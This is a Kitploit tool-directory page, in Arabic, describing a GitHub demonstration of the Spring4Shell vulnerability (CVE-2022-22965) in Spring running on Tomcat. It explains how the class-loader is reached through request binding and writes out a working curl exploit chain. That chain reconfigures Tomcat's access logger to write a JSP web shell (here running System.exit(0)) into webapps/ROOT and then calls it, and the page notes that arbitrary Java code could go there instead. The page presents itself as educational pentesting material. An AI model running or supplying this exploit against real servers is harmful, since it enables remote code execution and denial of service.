Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2022-22965 — عرض توضيحي مصغر لاستغلال ثغرة Spring4Shell (CVE-2022-22965) يستهدف Tomcat عبر التلاعب بمُحمل الفئات (class-loader)، مع سلسلة هجوم خطوة بخطوة تعتمد على curl لأغراض اختبار الاختراق التعليمي. | Kitploit
أدوات/GitHubGitHub/mwojterski/cve-2022-22965
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubmwojterski/cve-2022-22965

cve-2022-22965

عرض توضيحي مصغر لاستغلال ثغرة Spring4Shell (CVE-2022-22965) يستهدف Tomcat عبر التلاعب بمُحمل الفئات (class-loader)، مع سلسلة هجوم خطوة بخطوة تعتمد على curl لأغراض اختبار الاختراق التعليمي.

عرض المستودع
2منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مثال مبسط لـ CVE-2022-22965

في وقت كتابة هذا النص، يسمح ربط معاملات الطلب في Spring-Web (WebDataBinder) افتراضيًا بالوصول إلى طريقة getClass() للكائن. هذه تفاصيل تنفيذ داخلية خاصة بـ JVM (في رأيي المتواضع لا ينبغي كشفها). وبالتالي، قد تتغير ميزاتها وتُوسع مع الإصدارات المستقبلية من JVM. وهذا يجعله عبئًا مستمرًا على المطورين، حيث يحاولون التنبؤ بالطرق الإبداعية التي قد يستغلها المهاجمون للوصول القوي هذا بطرق خبيثة.

في هذا CVE بالذات، كان السبب هو طريقة Class::getModule() التي أُدخلت في Java 9. مما فتح وصولًا غير محروس إلى محمل الفئات (class-loader).

في المثال أدناه، يستخدم المهاجم ذلك لإعادة تكوين مسجل الوصول الخاص بـ Tomcat. في العادة، يكتب معلومات قصيرة عن كل طلب يستقبله الخادم إلى ملف سجل. تحدد الخاصية pattern ما يُكتب من معلومات، و directory أين يجب وضع ملف السجل، و prefix, fileDateFormat, suffix ما يجب أن يكون اسم الملف.

الطلب التالي سيستهدف نقطة نهاية لتطبيقنا الضعيف . يعيد تكوين المسجل لكتابة سطر لكل طلب يتم معالجته، إلى ملف في الدليل ، حيث هو عنصر نائب لقيمة رأس الطلب .

POST
poc-0
<%{e}iSystem.exit(0);%{e}i>
f.jsp
webapps/ROOT
%{e}i
e

هذا استخدام غير متوقع/إبداعي للمسجل، والباقي هو خادم تطبيقات JSP و Tomcat قياسي قيد التشغيل.

root@kitploit:~
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/

بعد لحظة، سيتم إنشاء ملف f.jsp، ويلتقطه Tomcat، ويُجمّع ويُعرض لخدمة الحركة المرورية. الطلب التالي يستدعيه، مما سينفذ كود System.exit(0); المضمن ويوقف JVM الذي يعمل عليه.

root@kitploit:~
curl -v http://container-ip:8080/f.jsp

هذا مثال على هجوم رفض الخدمة (DoS)، لكن System.exit(0); هو كود Java عادي، لذا يمكن للمهاجم فعل الكثير.

تنزيل الأداة